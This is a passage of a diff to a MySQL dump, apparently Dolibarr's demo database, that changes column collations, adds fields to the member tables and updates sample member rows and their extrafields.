3,'user',1,NULL,NULL,1),(53,124,'user',1,NULL,NULL,1),(54,125,'user',1,NULL,NULL,1),(55,127,'user',1,NULL,NULL,1),(56,128,'user',1,NULL,NULL,1),(57,129,'user',1,NULL,NULL,1),(58,130,'user',1,NULL,NULL,1),(59,131,'user',1,NULL,NULL,1),(60,132,'user',1,NULL,NULL,1),(61,133,'user',1,NULL,NULL,1),(62,134,'user',1,NULL,NULL,1),(63,135,'user',1,NULL,NULL,1),(64,136,'user',1,NULL,NULL,1),(65,137,'user',1,NULL,NULL,1),(66,138,'user',1,NULL,NULL,1),(67,139,'user',1,NULL,NULL,1),(68,140,'user',1,NULL,NULL,1),(69,141,'user',1,NULL,NULL,1),(70,142,'user',1,NULL,NULL,1),(71,143,'user',1,NULL,NULL,1),(72,144,'user',1,NULL,NULL,1),(73,145,'user',1,NULL,NULL,1),(74,146,'user',1,NULL,NULL,1),(75,147,'user',1,NULL,NULL,1),(76,148,'user',1,NULL,NULL,1),(77,149,'user',1,NULL,NULL,1),(78,150,'user',1,NULL,NULL,1),(79,151,'user',1,NULL,NULL,1),(80,152,'user',1,NULL,NULL,1),(81,203,'user',1,NULL,NULL,1),(82,204,'user',1,NULL,NULL,1),(83,205,'user',1,NULL,NULL,1),(84,206,'user',1,NULL,NULL,1),(85,207,'user',1,NULL,NULL,1),(86,208,'user',1,NULL,NULL,1),(87,209,'user',1,NULL,NULL,1),(88,210,'user',1,NULL,NULL,1),(89,211,'user',1,NULL,NULL,1),(90,212,'user',1,NULL,NULL,1),(91,213,'user',1,NULL,NULL,1),(92,214,'user',1,NULL,NULL,1),(93,215,'user',1,NULL,NULL,1),(94,216,'user',1,NULL,NULL,1),(95,217,'user',1,NULL,NULL,1),(96,218,'user',1,NULL,NULL,1),(97,219,'user',1,NULL,NULL,1),(98,220,'user',1,NULL,NULL,1),(99,221,'user',1,NULL,NULL,1),(100,222,'user',1,NULL,NULL,1),(101,223,'user',1,NULL,NULL,1),(102,224,'user',1,NULL,NULL,1),(103,225,'user',1,NULL,NULL,1),(104,226,'user',1,NULL,NULL,1),(105,227,'user',1,NULL,NULL,1),(106,228,'user',1,NULL,NULL,1),(107,229,'user',1,NULL,NULL,1),(108,230,'user',1,NULL,NULL,1),(109,231,'user',1,NULL,NULL,1),(110,232,'user',12,'0',0,0),(111,233,'user',12,'0',0,0),(112,234,'user',12,'0',0,1),(113,235,'user',12,'0',0,1),(114,236,'user',4,'0',0,0),(115,237,'user',13,'0',0,0),(116,237,'user',16,'0',0,0),(117,237,'user',18,'0',0,0),(118,238,'user',12,'0',0,1),(119,238,'user',3,'0',0,1),(120,238,'user',10,'0',0,1),(121,239,'user',12,'0',0,0),(123,240,'user',12,'0',0,1),(125,242,'user',12,'0',0,0),(126,243,'user',12,'0',0,0),(128,245,'user',12,'0',0,0),(132,249,'user',12,'0',0,0),(133,250,'user',12,'0',0,0),(134,251,'user',12,'0',0,0),(135,252,'user',12,'0',0,0),(136,253,'user',12,'0',0,0),(137,254,'user',12,'0',0,0),(138,255,'user',12,'0',0,0),(139,256,'user',12,'0',0,0),(140,257,'user',12,'0',0,0),(146,263,'user',12,'0',0,0),(147,264,'user',12,'0',0,0),(148,265,'user',12,'0',0,0),(149,266,'user',12,'0',0,0),(150,267,'user',12,'0',0,0),(151,268,'user',12,'0',0,0),(152,269,'user',12,'0',0,0),(153,270,'user',12,'0',0,0),(154,271,'user',12,'0',0,0),(155,272,'user',12,'0',0,0),(156,273,'user',12,'0',0,0),(157,274,'user',12,'0',0,0),(158,275,'user',12,'0',0,0),(160,277,'user',12,'0',0,0),(161,278,'user',12,'0',0,0),(162,279,'user',12,'0',0,0),(164,281,'user',12,'0',0,0),(165,282,'user',12,'0',0,0),(166,283,'user',12,'0',0,0),(167,284,'user',12,'0',0,0),(168,285,'user',12,'0',0,0),(169,286,'user',12,'0',0,0),(170,287,'user',12,'0',0,0),(171,288,'user',12,'0',0,0),(177,294,'user',12,'0',0,0),(178,295,'user',12,'0',0,0),(179,296,'user',12,'0',0,0),(180,297,'user',12,'0',0,0),(181,298,'user',1,'0',0,0),(182,299,'user',2,'0',0,0),(183,300,'user',1,'0',0,0),(184,301,'user',2,'0',0,0),(185,302,'user',2,'0',0,0),(186,303,'user',2,'0',0,0),(187,304,'user',1,'0',0,0),(188,305,'user',2,'0',0,0),(189,306,'user',2,'0',0,0),(190,307,'user',1,'0',0,0),(191,308,'user',1,'0',0,0),(192,309,'user',1,'0',0,0),(193,310,'user',2,'0',0,0),(194,311,'user',2,'0',0,0),(195,312,'user',1,'0',0,0),(196,313,'user',2,'0',0,0),(197,314,'user',1,'0',0,0),(198,315,'user',2,'0',0,0),(199,316,'user',2,'0',0,0),(200,317,'user',2,'0',0,0),(201,318,'user',1,'0',0,0),(202,319,'user',2,'0',0,0),(203,320,'user',12,'0',0,0),(204,321,'user',12,'0',0,0),(205,322,'user',12,'0',0,0),(206,323,'user',12,'0',0,0),(207,324,'user',12,'0',0,0),(208,325,'user',12,'0',0,0),(209,326,'user',12,'0',0,0),(210,327,'user',12,'0',0,0),(211,328,'user',12,'0',0,0),(212,24,'socpeople',2,NULL,NULL,1),(213,235,'socpeople',2,NULL,NULL,1),(214,238,'socpeople',10,NULL,NULL,1),(215,327,'socpeople',12,NULL,NULL,1),(216,329,'user',12,'0',0,0),(217,330,'user',12,'0',0,0),(218,331,'user',12,'0',0,0),(220,333,'user',12,'0',0,0),(222,335,'user',12,'0',0,0),(224,337,'user',12,'0',0,0),(225,338,'user',12,'0',0,0),(226,339,'user',12,'0',0,0),(227,340,'user',12,'0',0,0),(228,341,'user',12,'0',0,0),(229,342,'user',12,'0',0,0),(230,343,'user',12,'0',0,0),(231,344,'user',12,'0',0,0),(232,345,'user',12,'0',0,0),(233,346,'user',12,'0',0,0),(234,347,'user',12,'0',0,0),(235,348,'user',12,'0',0,0),(236,349,'user',12,'0',0,0),(237,350,'user',12,'0',0,0),(238,351,'user',12,'0',0,0),(239,352,'user',12,'0',0,0),(240,353,'user',12,'0',0,0),(241,354,'user',12,'0',0,0),(242,355,'user',12,'0',0,0),(243,356,'user',12,'0',0,0),(244,357,'user',12,'0',0,0),(245,358,'user',12,'0',0,0),(246,359,'user',12,'0',0,0),(247,360,'user',12,'0',0,0),(248,361,'user',12,'0',0,0),(249,362,'user',12,'0',0,0),(250,363,'user',12,'0',0,0),(251,364,'user',12,'0',0,0),(252,365,'user',12,'0',0,0),(253,366,'user',12,'0',0,0),(254,367,'user',12,'0',0,0),(255,368,'user',12,'0',0,0),(256,369,'user',12,'0',0,0),(257,370,'user',12,'0',0,0),(258,371,'user',12,'0',0,0),(259,372,'user',12,'0',0,0),(260,373,'user',12,'0',0,0),(261,374,'user',12,'0',0,0),(262,375,'user',12,'0',0,0),(263,376,'user',12,'0',0,0),(264,377,'user',12,'0',0,0),(265,378,'user',12,'0',0,0),(266,379,'user',12,'0',0,0),(267,380,'user',12,'0',0,0),(268,381,'user',12,'0',0,0),(269,382,'user',12,'0',0,0),(270,383,'user',0,'0',0,0),(271,384,'user',12,'0',0,0),(272,385,'user',12,'0',0,0),(273,386,'user',12,'0',0,0),(274,387,'user',12,'0',0,0),(275,388,'user',12,'0',0,0),(276,389,'user',12,'0',0,0),(277,390,'user',12,'0',0,0),(278,391,'user',12,'0',0,0),(279,392,'user',12,'0',0,0),(280,393,'user',12,'0',0,0),(281,394,'user',12,'0',0,0),(282,395,'user',12,'0',0,0),(283,396,'user',12,'0',0,0),(284,397,'user',12,'0',0,0),(285,398,'user',12,'0',0,0),(286,399,'user',12,'0',0,0),(287,400,'user',12,'0',0,0),(288,401,'user',12,'0',0,0),(289,402,'user',12,'0',0,0),(290,403,'user',12,'0',0,0),(291,404,'user',12,'0',0,0),(292,405,'user',12,'0',0,0),(293,406,'user',12,'0',0,0),(294,407,'user',12,'0',0,0),(295,408,'user',12,'0',0,0),(296,409,'user',12,'0',0,0),(297,410,'user',12,'0',0,0),(298,411,'user',12,'0',0,0),(299,412,'user',12,'0',0,0),(300,413,'user',12,'0',0,0),(301,414,'user',12,'0',0,0),(302,415,'user',12,'0',0,0),(303,416,'user',12,'0',0,0),(304,417,'user',12,'0',0,0),(305,418,'user',12,'0',0,0),(306,419,'user',0,'0',0,0),(307,420,'user',12,'0',0,0),(308,421,'user',12,'0',0,0),(309,422,'user',12,'0',0,0),(310,423,'user',0,'0',0,0),(311,424,'user',12,'0',0,0),(312,425,'user',12,'0',0,0),(313,426,'user',12,'0',0,0),(314,427,'user',12,'0',0,0),(315,428,'user',12,'0',0,0),(316,429,'user',12,'0',0,0),(317,430,'user',12,'0',0,0),(318,431,'user',12,'0',0,0),(319,432,'user',12,'0',0,0),(320,433,'user',12,'0',0,0),(321,434,'user',12,'0',0,0),(322,435,'user',12,'0',0,0),(323,436,'user',12,'0',0,0),(324,437,'user',12,'0',0,0),(325,438,'user',12,'0',0,0),(326,439,'user',12,'0',0,0),(327,440,'user',12,'0',0,0),(328,441,'user',12,'0',0,0),(329,442,'user',12,'0',0,0),(330,443,'user',12,'0',0,0),(331,444,'user',12,'0',0,0),(332,445,'user',12,'0',0,0),(333,446,'user',12,'0',0,0),(334,447,'user',12,'0',0,0),(335,448,'user',12,'0',0,0),(336,449,'user',12,'0',0,0),(337,450,'user',12,'0',0,0),(338,451,'user',12,'0',0,0),(339,452,'user',12,'0',0,0),(340,453,'user',12,'0',0,0),(341,454,'user',12,'0',0,0),(342,455,'user',12,'0',0,0),(343,456,'user',12,'0',0,0),(344,457,'user',12,'0',0,0),(345,458,'user',12,'0',0,0),(346,459,'user',12,'0',0,0),(347,460,'user',12,'0',0,0),(348,461,'user',12,'0',0,0),(349,462,'user',12,'0',0,1),(350,463,'user',12,'0',0,1),(351,463,'user',4,'0',0,1),(352,463,'user',13,'0',0,1),(353,463,'user',2,'0',0,1),(354,464,'user',12,'0',0,0),(355,465,'user',12,'0',0,0),(356,466,'user',12,'0',0,1),(357,467,'user',0,'0',0,0),(358,468,'user',0,'0',0,0),(359,469,'user',0,'0',0,0),(360,470,'user',0,'0',0,0),(361,471,'user',0,'0',0,0),(362,483,'user',12,'0',0,0),(363,484,'user',12,'0',0,0),(364,485,'user',12,'0',0,0),(365,486,'user',12,'0',0,0),(366,487,'user',12,'0',0,0),(367,488,'user',12,'0',0,0),(368,489,'user',12,'0',0,0),(369,490,'user',12,'0',0,0),(370,491,'user',12,'0',0,0),(371,492,'user',12,'0',0,0),(372,493,'user',12,'0',0,0),(373,494,'user',12,'0',0,0),(374,495,'user',12,'0',0,0),(375,496,'user',12,'0',0,0),(376,497,'user',12,'0',0,0),(377,498,'user',12,'0',0,0),(378,499,'user',12,'0',0,0),(379,500,'user',12,'0',0,0),(380,501,'user',12,'0',0,0),(381,502,'user',12,'0',0,0),(382,503,'user',12,'0',0,0),(383,504,'user',12,'0',0,0),(384,505,'user',12,'0',0,0),(385,506,'user',12,'0',0,0),(386,507,'user',12,'0',0,0),(387,508,'user',12,'0',0,0),(388,509,'user',12,'0',0,0),(390,511,'user',12,'0',0,0),(391,512,'user',12,'0',0,0),(392,513,'user',12,'0',0,0),(393,514,'user',12,'0',0,0),(394,515,'user',12,'0',0,0),(395,516,'user',12,'0',0,0),(396,517,'user',12,'0',0,0),(397,518,'user',12,'0',0,0),(398,519,'user',12,'0',0,0),(399,520,'user',12,'0',0,0),(400,521,'user',12,'0',0,0),(401,522,'user',12,'0',0,0),(402,523,'user',12,'0',0,0),(403,524,'user',12,'0',0,0),(404,525,'user',12,'0',0,0),(405,526,'user',12,'0',0,0),(406,527,'user',12,'0',0,0),(407,528,'user',12,'0',0,0),(408,529,'user',12,'0',0,0),(409,530,'user',12,'0',0,0),(410,531,'user',12,'0',0,0),(411,532,'user',12,'0',0,0),(412,533,'user',12,'0',0,0),(413,534,'user',12,'0',0,0),(414,535,'user',12,'0',0,0),(415,536,'user',12,'0',0,0),(416,537,'user',12,'0',0,0),(417,538,'user',12,'0',0,0),(418,539,'user',12,'0',0,0),(419,540,'user',12,'0',0,0),(420,541,'user',12,'0',0,0),(421,542,'user',12,'0',0,0),(422,543,'user',12,'0',0,0),(423,544,'user',12,'0',0,0),(424,545,'user',12,'0',0,0),(425,546,'user',12,'0',0,0),(426,547,'user',12,'0',0,0),(427,548,'user',12,'0',0,0),(428,549,'user',12,'0',0,0),(429,550,'user',12,'0',0,0),(430,551,'user',12,'0',0,0),(431,552,'user',12,'0',0,0),(432,553,'user',12,'0',0,0),(433,554,'user',12,'0',0,0),(434,555,'user',12,'0',0,0),(435,556,'user',12,'0',0,0),(436,557,'user',12,'0',0,0),(437,558,'user',12,'0',0,0),(438,559,'user',12,'0',0,0),(439,560,'user',12,'0',0,0),(440,561,'user',12,'0',0,0),(441,562,'user',12,'0',0,0),(442,563,'user',12,'0',0,0),(443,564,'user',12,'0',0,0),(444,565,'user',12,'0',0,0),(445,566,'user',12,'0',0,0),(446,567,'user',12,'0',0,0),(447,568,'user',12,'0',0,0),(448,569,'user',12,'0',0,0),(449,570,'user',12,'0',0,0),(450,571,'user',12,'0',0,0),(451,572,'user',12,'0',0,0),(452,573,'user',12,'0',0,0),(453,574,'user',12,'0',0,0),(454,575,'user',12,'0',0,0),(455,576,'user',12,'0',0,0),(456,577,'user',12,'0',0,0),(457,578,'user',12,'0',0,0),(458,579,'user',12,'0',0,0),(459,580,'user',12,'0',0,0),(460,581,'user',12,'0',0,0),(461,582,'user',12,'0',0,0),(462,583,'user',12,'0',0,0),(463,584,'user',12,'0',0,0),(464,585,'user',12,'0',0,0),(465,586,'user',12,'0',0,0),(467,588,'user',12,'0',0,0),(468,589,'user',12,'0',0,0),(469,590,'user',12,'0',0,0),(470,591,'user',12,'0',0,0),(471,592,'user',12,'0',0,0),(472,593,'user',12,'0',0,0),(473,594,'user',12,'0',0,0),(474,595,'user',12,'0',0,0),(475,596,'user',12,'0',0,0),(476,597,'user',12,'0',0,0),(477,598,'user',12,'0',0,0),(478,599,'user',12,'0',0,0),(479,600,'user',12,'0',0,0),(480,601,'user',12,'0',0,0),(481,602,'user',12,'0',0,0),(482,603,'user',12,'0',0,1),(484,604,'user',12,'0',0,1),(485,605,'user',12,'0',0,1),(486,606,'user',12,'0',0,0),(487,607,'user',12,'0',0,0),(488,608,'user',12,'0',0,0),(489,609,'user',12,'0',0,0),(490,610,'user',12,'0',0,0),(491,611,'user',12,'0',0,0),(492,612,'user',12,'0',0,0),(495,615,'user',12,'0',0,0),(496,616,'user',12,'0',0,0),(497,617,'user',12,'0',0,0),(498,618,'user',12,'0',0,0),(499,619,'user',12,'0',0,0),(500,620,'user',12,'0',0,0),(501,621,'user',12,'0',0,0),(502,622,'user',12,'0',0,0),(503,623,'user',12,'0',0,0),(504,624,'user',12,'0',0,0),(505,625,'user',12,'0',0,0),(506,626,'user',12,'0',0,0),(507,627,'user',12,'0',0,0),(508,628,'user',12,'0',0,0),(509,629,'user',12,'0',0,0),(510,630,'user',12,'0',0,0),(511,631,'user',12,'0',0,0),(512,632,'user',12,'0',0,0),(513,633,'user',12,'0',0,0),(514,634,'user',12,'0',0,0),(515,635,'user',12,'0',0,0),(516,636,'user',12,'0',0,0),(517,637,'user',12,'0',0,0),(518,638,'user',12,'0',0,0),(519,639,'user',12,'0',0,0),(520,640,'user',12,'0',0,0),(521,641,'user',12,'0',0,0),(522,642,'user',12,'0',0,0),(523,643,'user',12,'0',0,0),(524,644,'user',12,'0',0,0),(525,645,'user',12,'0',0,0),(526,646,'user',12,'0',0,0),(527,647,'user',12,'0',0,0),(528,648,'user',12,'0',0,0),(529,649,'user',12,'0',0,0),(530,650,'user',12,'0',0,0),(531,651,'user',12,'0',0,0),(532,652,'user',12,'0',0,0),(533,653,'user',12,'0',0,0),(534,654,'user',12,'0',0,0),(535,655,'user',12,'0',0,0),(536,656,'user',12,'0',0,0),(537,657,'user',12,'0',0,0),(538,658,'user',12,'0',0,0),(539,659,'user',12,'0',0,0),(590,710,'user',12,'0',0,0),(591,711,'user',12,'0',0,0),(592,712,'user',12,'0',0,0),(593,713,'user',12,'0',0,0),(594,714,'user',12,'0',0,0),(595,715,'user',12,'0',0,0),(596,716,'user',12,'0',0,0),(597,717,'user',12,'0',0,0),(598,718,'user',12,'0',0,0),(600,720,'user',12,'0',0,0),(601,721,'user',12,'0',0,0),(602,722,'user',12,'0',0,0),(603,723,'user',12,'0',0,0),(605,719,'user',12,'0',0,0),(606,724,'user',12,'0',0,0),(607,725,'user',12,'0',0,0),(608,726,'user',12,'0',0,0),(609,727,'user',12,'0',0,0),(610,728,'user',12,'0',0,0),(611,729,'user',12,'0',0,0),(612,730,'user',12,'0',0,0),(613,731,'user',12,'0',0,0),(614,732,'user',12,'0',0,0),(615,733,'user',12,'0',0,0),(616,734,'user',12,'0',0,0),(617,735,'user',12,'0',0,0),(618,736,'user',12,'0',0,0),(619,737,'user',12,'0',0,0),(620,738,'user',12,'0',0,0),(621,739,'user',12,'0',0,0),(622,740,'user',12,'0',0,0),(623,741,'user',12,'0',0,0),(624,742,'user',12,'0',0,0),(625,743,'user',12,'0',0,0),(626,744,'user',12,'0',0,0),(627,745,'user',12,'0',0,0),(628,746,'user',12,'0',0,0),(629,747,'user',12,'0',0,0),(630,748,'user',12,'0',0,0),(631,749,'user',12,'0',0,0),(634,752,'user',12,'0',0,0),(635,753,'user',12,'0',0,0),(636,754,'user',12,'0',0,0),(637,755,'user',12,'0',0,0),(638,756,'user',12,'0',0,0),(639,757,'user',12,'0',0,0),(640,758,'user',12,'0',0,0),(641,759,'user',12,'0',0,0),(642,760,'user',12,'0',0,0),(643,761,'user',12,'0',0,0),(644,762,'user',12,'0',0,0),(646,764,'user',12,'0',0,0),(647,765,'user',12,'0',0,0),(648,766,'user',12,'0',0,0),(649,767,'user',12,'0',0,0),(650,768,'user',29,'0',0,0),(651,769,'user',12,'0',0,0),(652,770,'user',12,'0',0,0),(653,771,'user',12,'0',0,0),(654,772,'user',12,'0',0,0),(655,773,'user',12,'0',0,0),(656,774,'user',12,'0',0,0),(657,775,'user',12,'0',0,0),(658,776,'user',12,'0',0,0),(659,777,'user',12,'0',0,0),(660,778,'user',12,'0',0,0),(661,779,'user',12,'0',0,0),(664,782,'user',12,'0',0,0),(665,783,'user',12,'0',0,0),(666,784,'user',12,'0',0,0),(667,785,'user',12,'0',0,0),(668,786,'user',12,'0',0,0),(669,787,'user',12,'0',0,0),(670,788,'user',12,'0',0,0),(671,789,'user',12,'0',0,0),(672,790,'user',12,'0',0,0),(673,791,'user',12,'0',0,0),(674,792,'user',12,'0',0,0),(675,793,'user',12,'0',0,0),(676,794,'user',12,'0',0,0),(677,795,'user',12,'0',0,0); /*!40000 ALTER TABLE `llx_actioncomm_resources` ENABLE KEYS */; UNLOCK TABLES; @@ -475,47 +477,49 @@ DROP TABLE IF EXISTS `llx_adherent`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_adherent` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `ref` varchar(30) COLLATE utf8mb3_unicode_ci NOT NULL, + `ref` varchar(30) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `ref_ext` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `civility` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `lastname` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `firstname` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `login` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `pass` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `pass_crypted` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `ref_ext` varchar(128) DEFAULT NULL, + `civility` varchar(6) DEFAULT NULL, + `lastname` varchar(50) DEFAULT NULL, + `firstname` varchar(50) DEFAULT NULL, + `login` varchar(50) DEFAULT NULL, + `pass` varchar(50) DEFAULT NULL, + `pass_crypted` varchar(128) DEFAULT NULL, `fk_adherent_type` int(11) NOT NULL, - `morphy` varchar(3) COLLATE utf8mb3_unicode_ci NOT NULL, - `societe` varchar(128) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `morphy` varchar(3) NOT NULL, + `societe` varchar(128) DEFAULT NULL, `fk_soc` int(11) DEFAULT NULL, - `address` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `zip` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `town` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `address` text DEFAULT NULL, + `zip` varchar(10) DEFAULT NULL, + `town` varchar(50) DEFAULT NULL, `state_id` int(11) DEFAULT NULL, `country` int(11) DEFAULT NULL, - `email` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `url` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `socialnetworks` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `phone` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `phone_perso` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `phone_mobile` varchar(30) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `email` varchar(255) DEFAULT NULL, + `url` varchar(255) DEFAULT NULL, + `socialnetworks` text DEFAULT NULL, + `phone` varchar(30) DEFAULT NULL, + `phone_perso` varchar(30) DEFAULT NULL, + `phone_mobile` varchar(30) DEFAULT NULL, `birth` date DEFAULT NULL, - `photo` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `photo` varchar(255) DEFAULT NULL, `statut` smallint(6) NOT NULL DEFAULT 0, `public` smallint(6) NOT NULL DEFAULT 0, `datefin` datetime DEFAULT NULL, - `note_private` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `note_public` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `default_lang` varchar(6) DEFAULT NULL, + `note_private` text DEFAULT NULL, + `note_public` text DEFAULT NULL, `datevalid` datetime DEFAULT NULL, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_user_author` int(11) DEFAULT NULL, `fk_user_mod` int(11) DEFAULT NULL, `fk_user_valid` int(11) DEFAULT NULL, - `canvas` varchar(32) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `model_pdf` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `gender` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `canvas` varchar(32) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `model_pdf` varchar(255) DEFAULT NULL, + `gender` varchar(10) DEFAULT NULL, + `ip` varchar(250) DEFAULT NULL, PRIMARY KEY (`rowid`), UNIQUE KEY `uk_adherent_ref` (`ref`,`entity`), UNIQUE KEY `uk_adherent_login` (`login`,`entity`), @@ -532,7 +536,7 @@ CREATE TABLE `llx_adherent` ( LOCK TABLES `llx_adherent` WRITE; /*!40000 ALTER TABLE `llx_adherent` DISABLE KEYS */; -INSERT INTO `llx_adherent` VALUES (1,'1',1,NULL,NULL,'Smith','Vick','vsmith','vsx1n8tf',NULL,2,'phy',NULL,10,NULL,NULL,NULL,NULL,102,'vsmith@email.com',NULL,'[]',NULL,NULL,NULL,'1960-07-07','person5.jpeg',0,0,'2014-07-09 00:00:00',NULL,NULL,'2012-07-10 15:12:56','2012-07-08 23:50:00','2021-04-15 10:22:54',1,12,12,NULL,NULL,NULL,'woman'),(2,'2',1,NULL,NULL,'Curie','Pierre','pcurie','pcuriedolibarr',NULL,2,'phy',NULL,12,NULL,NULL,NULL,NULL,NULL,'pcurie@example.com',NULL,'[]',NULL,NULL,NULL,NULL,'pierrecurie.jpg',1,1,'2020-07-17 00:00:00',NULL,NULL,'2012-07-10 15:03:32','2012-07-10 15:03:09','2021-04-15 10:22:54',1,12,1,NULL,NULL,NULL,NULL),(3,'3',1,NULL,NULL,'john','doe','john','8bs6gty5',NULL,2,'phy',NULL,NULL,NULL,NULL,NULL,NULL,1,'johndoe@email.com',NULL,'[]',NULL,NULL,NULL,NULL,'person9.jpeg',1,0,'2014-07-17 00:00:00',NULL,NULL,'2013-07-18 21:28:00','2013-07-18 21:10:09','2021-04-15 10:22:54',1,12,1,NULL,NULL,NULL,NULL),(4,'4',1,NULL,NULL,'smith','smith','Smith','s6hjp10f',NULL,2,'phy',NULL,NULL,NULL,NULL,NULL,NULL,11,'smith@email.com',NULL,'[]',NULL,NULL,NULL,NULL,'person2.jpeg',1,0,'2018-07-17 00:00:00',NULL,NULL,'2013-07-18 21:27:52','2013-07-18 21:27:44','2021-04-15 10:22:54',1,12,1,NULL,NULL,NULL,NULL); +INSERT INTO `llx_adherent` VALUES (1,'1',1,NULL,NULL,'Smith','Vick','vsmith','vsx1n8tf',NULL,2,'phy','NLTechno',10,NULL,NULL,NULL,NULL,102,'vsmith@email.com',NULL,NULL,NULL,NULL,NULL,'1960-07-07','person5.jpeg',0,0,'2014-07-09 00:00:00','fr_FR',NULL,NULL,'2012-07-10 15:12:56','2012-07-08 23:50:00','2023-01-24 09:58:57',1,12,12,NULL,NULL,NULL,'woman',NULL),(2,'2',1,NULL,NULL,'Curie','Pierre','pcurie','pcuriedolibarr',NULL,2,'phy',NULL,12,NULL,NULL,NULL,NULL,NULL,'pcurie@example.com',NULL,NULL,NULL,NULL,NULL,NULL,'pierrecurie.jpg',1,1,'2020-07-17 00:00:00',NULL,NULL,NULL,'2012-07-10 15:03:32','2012-07-10 15:03:09','2023-01-14 10:46:33',1,12,1,NULL,NULL,NULL,NULL,NULL),(3,'3',1,NULL,NULL,'john','doe','john','8bs6gty5',NULL,2,'phy',NULL,NULL,NULL,NULL,NULL,NULL,1,'johndoe@email.com',NULL,'[]',NULL,NULL,NULL,NULL,'person9.jpeg',1,0,'2014-07-17 00:00:00',NULL,NULL,NULL,'2013-07-18 21:28:00','2013-07-18 21:10:09','2021-04-15 10:22:54',1,12,1,NULL,NULL,NULL,NULL,NULL),(4,'4',1,NULL,NULL,'smith','smith','Smith','s6hjp10f',NULL,2,'phy',NULL,NULL,NULL,NULL,NULL,NULL,11,'smith@email.com',NULL,'[]',NULL,NULL,NULL,NULL,'person2.jpeg',1,0,'2018-07-17 00:00:00',NULL,NULL,NULL,'2013-07-18 21:27:52','2013-07-18 21:27:44','2021-04-15 10:22:54',1,12,1,NULL,NULL,NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_adherent` ENABLE KEYS */; UNLOCK TABLES; @@ -547,14 +551,14 @@ CREATE TABLE `llx_adherent_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `aaa` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `sssss` varchar(255) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `extradatamember` varchar(10) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `aaa` varchar(255) DEFAULT NULL, + `sssss` varchar(255) DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, + `extradatamember` varchar(10) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_adherent_options` (`fk_object`), KEY `idx_adherent_extrafields` (`fk_object`) -) ENGINE=InnoDB AUTO_INCREMENT=80 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=82 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -563,7 +567,7 @@ CREATE TABLE `llx_adherent_extrafields` ( LOCK TABLES `llx_adherent_extrafields` WRITE; /*!40000 ALTER TABLE `llx_adherent_extrafields` DISABLE KEYS */; -INSERT INTO `llx_adherent_extrafields` VALUES (76,'2020-01-21 09:30:27',2,NULL,NULL,NULL,NULL),(77,'2020-01-21 09:30:36',3,NULL,NULL,NULL,NULL),(78,'2020-01-21 09:30:42',4,NULL,NULL,NULL,NULL),(79,'2020-01-21 09:30:57',1,NULL,NULL,NULL,NULL); +INSERT INTO `llx_adherent_extrafields` VALUES (77,'2020-01-21 09:30:36',3,NULL,NULL,NULL,NULL),(78,'2020-01-21 09:30:42',4,NULL,NULL,NULL,NULL),(80,'2023-01-14 10:46:33',2,NULL,NULL,NULL,NULL),(81,'2023-01-24 09:58:57',1,NULL,NULL,NULL,NULL); /*!40000 ALTER TABLE `llx_adherent_extrafields` ENABLE KEYS */; UNLOCK TABLES; @@ -579,14 +583,15 @@ CREATE TABLE `llx_adherent_type` ( `entity` int(11) NOT NULL DEFAULT 1, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `statut` smallint(6) NOT NULL DEFAULT 0, - `libelle` varchar(50) COLLATE utf8mb3_unicode_ci NOT NULL, - `subscription` varchar(3) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '1', + `libelle` varchar(50) NOT NULL, + `subscription` varchar(3) NOT NULL DEFAULT '1', `amount` double(24,8) DEFAULT NULL, - `vote` varchar(3) COLLATE utf8mb3_unicode_ci NOT NULL DEFAULT '1', - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `mail_valid` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `morphy` varchar(3) COLLATE utf8mb3_unicode_ci DEFAULT NULL, - `duration` varchar(6) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `caneditamount` int(11) DEFAULT 0, + `vote` 